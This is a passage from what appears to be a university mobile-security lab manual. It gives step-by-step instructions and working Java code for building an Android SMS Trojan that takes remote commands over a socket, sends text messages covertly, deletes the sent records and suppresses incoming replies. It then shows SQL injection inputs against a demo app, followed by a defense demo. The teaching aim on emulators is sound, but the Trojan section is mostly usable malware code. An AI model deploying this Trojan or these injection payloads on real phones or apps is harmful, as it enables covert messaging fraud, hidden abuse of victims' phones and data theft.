target phone users send complaint messages back to user, the Trojan will stop the arriving of those complaint messages to the users' phone. Step 1: Start Eclipse. Import the pre-lab 4. Click file import. Browse to the directory of downloads. Select Lab 4 Pre-lab 4 is located under the Lab 4 folder. Step 2: Go to MailRecipe Open the Src file Open the edu.mobilesecuritylabware.malware.malrecipe.attack Open the class MainActivity.java Go to the method called startServer() Paste the content of the following code, lab4.1, into the area marked with comments that tells you to paste here. Do not include the line Code 4.1. Code 4.1 serverSocket = new ServerSocket(PORT); //mSocket=new Socket(SERVER,PORT); while (true) { Socket client = serverSocket.accept(); Log.i("VICTIM", "visting.."); try { // Log.i("hehheh", "visting.."); BufferedReader in = new BufferedReader( new InputStreamReader(client.getInputStream())); String str = in.readLine(); String[] tempMessage = str.split("#"); String phoneNo = tempMessage[0]; String message = tempMessage[1]; Log.i("AndroidServer", "No:" + phoneNo + " message:" + message); // Toast.makeText(MainActivity.this,"No:"+phoneNo+" message:"+message, // Toast.LENGTH_SHORT).show(); 66 sendSMS(phoneNo, message);// send message to target deleteSMS(); } catch (Exception e) { e.printStackTrace(); } finally { client.close(); } Thread.sleep(1000); } After step 2 look like this. Step3: Go to MailRecipe Open the Src file Open the edu.mobilesecuritylabware.malware.malrecipe.attack Open the class SMSReceiver.java Paste the following code, Code 4.2, into the area marked with comments that tell you to paste here. Do not include the line Code 4.2. Code 4.2 public void onReceive(Context context, Intent intent) { Log.i("SMSReceiver, isOrderedBroadcast()=" ,""+isOrderedBroadcast()); String action = intent.getAction(); if (SMS_RECEIVED_ACTION.equals(action)) { 67 Bundle bundle = intent.getExtras(); if (bundle != null) { Object[] pdus = (Object[]) bundle.get("pdus"); for (Object pdu : pdus) { SmsMessage message = SmsMessage.createFromPdu((byte[]) pdu); String sender = message.getOriginatingAddress(); if (sender!=null&&sender.equals("15555215556")) { //deleteSMS(context,sender); abortBroadcast(); } return; } } abortBroadcast(); } } This is what you will have in SMSReceiver.java after step 3 Step 4: Go to AndroidManifest.xml file Open the AndroidManifest.xml file Paste the following code, Code 4.3, into the area marked with comments that tell you to paste here. Do not include the line Code 4.3. Code 4.3. 68 <receiver android:name="edu.mobilesecuritylabware.malware.malrecipe.attack.SMSReceiver" android:permission="android.permission.BROADCAST_SMS" > <intent-filter android:priority="5000000"> <action android:name="android.provider.Telephony.SMS_RECEIVED"/> </intent-filter> </receiver> You screen should look like this after step 4. Lab 4 Step-by-Step Demonstration Step 1: start two emulators In eclipse, open the “Android Virtual Device (AVD) Manager” by clicking , and two virtual devices ( “Test” and “Test2”) have been created. Select “Test” and click “Start” button to start the emulator “Test”. Select “Test2” and click “Start” button to start the emulator “Test2”. 69 Since we start the emulator “Test” first, it will be assigned with port “5554”, and the other emulator “Test2” will be assigned with port “5556”. Step 2: install the Malrecipe app in emulator “5554:Test” In eclipse, 70 By default, MalRecipe will be installed to the first emulator, which is “5554:Test”. After the installation, we will see the Malrecipe app installed with the app name “Trojan”. 71 Start Malrecipe by clicking the app “Trojan” After start the app, MalRecipe starts to listen to the port “7777” of Emulator “5554:Test” Step 3: Start the MalRecipeServer In eclipse, start the “MalRecipeServer” as a Java Appilcation 72 And the GUI of MalRecipeServer will look like this 73 In order for the MalRecipeServer to be able to connect to the port “7777” in emulator “5554:Test”, a tcp redirection will need to be set up. Open PuTTy 74 Telnet to the emulator “5554:Test” 75 The following window will appear 76 Enter the command “redir add tcp:7777:7777” Step 5: Attacking In MalRecipeServer, enter the message to be sent through “5554:Test” to “5556:Test2” Click “Attack”. If succeed, a message will be shown. 77 Checking the SMS in two emulators. We can see that “5556:Test2” received a message from “5554:Test”, however, “5554:Test” had no record of sending the message. 78 Lab 5 Database Security SQL injection and defense In this tutorial, we will create a simple SQL injection application which based on the concept of SQLite Databases of Android. By doing this exercise, students will get a better understanding about the security vulnerabilities in database. Objective In Android, we have five types of way for Data Storage (Shared Preferences, Internal Storage, External Storage, SQLite Databases, Network Connection). Our goal is to fully understand the way of SQLite Databases used to store structured data in a private database and how SQL injection can be performed. Software Requirement Eclipse IDE Android SDK Tutorial Open Eclipse Import lab 5 from the downloads folder Launch an emulator Select SQLInjection app from the list on the left Click RunAs Android Application 79 Slide to unlock phone The following should show on your phone. Click the View Injection Demo button. 80 When you see this screen, type 1’ or ‘1’=’1 into the Input the user ID: field. Click Search You should see the following results 81 Now click the back button to return to the original screen. In the Input the user ID: field type 1’ or username not null – Click the Search button again and you should view the following: 82 To demonstrate the defense: Click the back button to return to the original screen. Now, click on the View Defense Demo 83 You should again reach the screen where you are asked to input the user ID. We will now try to again enter 1’ or ‘1’=’1 in the Input the user ID: field. When you run this time, the operation will fail and you should see the following results. Notice that you were not able to capture the information. You can click back and repeat the exercise using the 1’ or username not null – as the id. For the code that performs all of these operations and an explanation, please see the bound workshop manual. 84